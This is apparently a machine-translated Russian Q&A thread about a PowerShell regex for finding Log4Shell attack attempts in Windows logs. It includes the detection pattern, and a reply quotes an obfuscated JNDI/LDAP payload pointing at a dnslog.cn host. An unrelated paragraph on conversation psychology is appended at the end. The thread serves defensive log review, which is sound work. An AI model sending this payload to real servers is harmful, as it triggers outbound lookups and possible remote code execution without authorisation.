Рейтинг:0

Использование Powershell для проверки системных журналов для Log4Shell

флаг gt

В настоящее время я пытаюсь проверить журналы на разных компьютерах с Windows, чтобы проверить, не проводились ли какие-либо атаки Log4Shell против наших систем. Основа сделана, и можно проверить простые шаблоны регулярных выражений. Если я теперь использую известный шаблон регулярного выражения для атак Log4Shell, Powershell выдает некоторые нераспознанные ошибки построения группировки.

Регулярное выражение должно выглядеть так:

\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`) *}*){9,11}

Это строка, которую я использовал для Regex в Powershell с необходимыми escape-символами:

$RX = "\$`{(\$`{(.*?:|.*?:.*?:-)('|`"|``)*(?1)}*|[jndi:lapsrm ]('|`"|``)*}*){9,11}"

Есть ли ошибка, которую я сделал с форматированием? Или есть какая-то странная ошибка в распознавании Powershell Regex?

mfinni avatar
флаг cn
Я не могу комментировать синтаксис вашего регулярного выражения, но этого недостаточно. В сети есть множество примеров людей, использующих различные escape-символы для запутывания вызова JNDI. ${j${KPW:MnVQG:hARxLh:-n}d${cMrwww:aMHlp:LlsJc:Hvltz:OWeka:-i}:${jgF:IvdW:hBxXUS:-l}d${IGtAj:KgGmt:mfEa :-a}p://1639227068302CJEDj.kfvg5l.dnslog.cn/249540} https://databricks.com/blog/2021/12/13/log4j2-vulnerability-cve-2021-44228-research-and-assessment.html

Ответить или комментировать

Большинство людей не понимают, что склонность к познанию нового открывает путь к обучению и улучшает межличностные связи. В исследованиях Элисон, например, хотя люди могли точно вспомнить, сколько вопросов было задано в их разговорах, они не чувствовали интуитивно связи между вопросами и симпатиями. В четырех исследованиях, в которых участники сами участвовали в разговорах или читали стенограммы чужих разговоров, люди, как правило, не осознавали, что задаваемый вопрос повлияет — или повлиял — на уровень дружбы между собеседниками.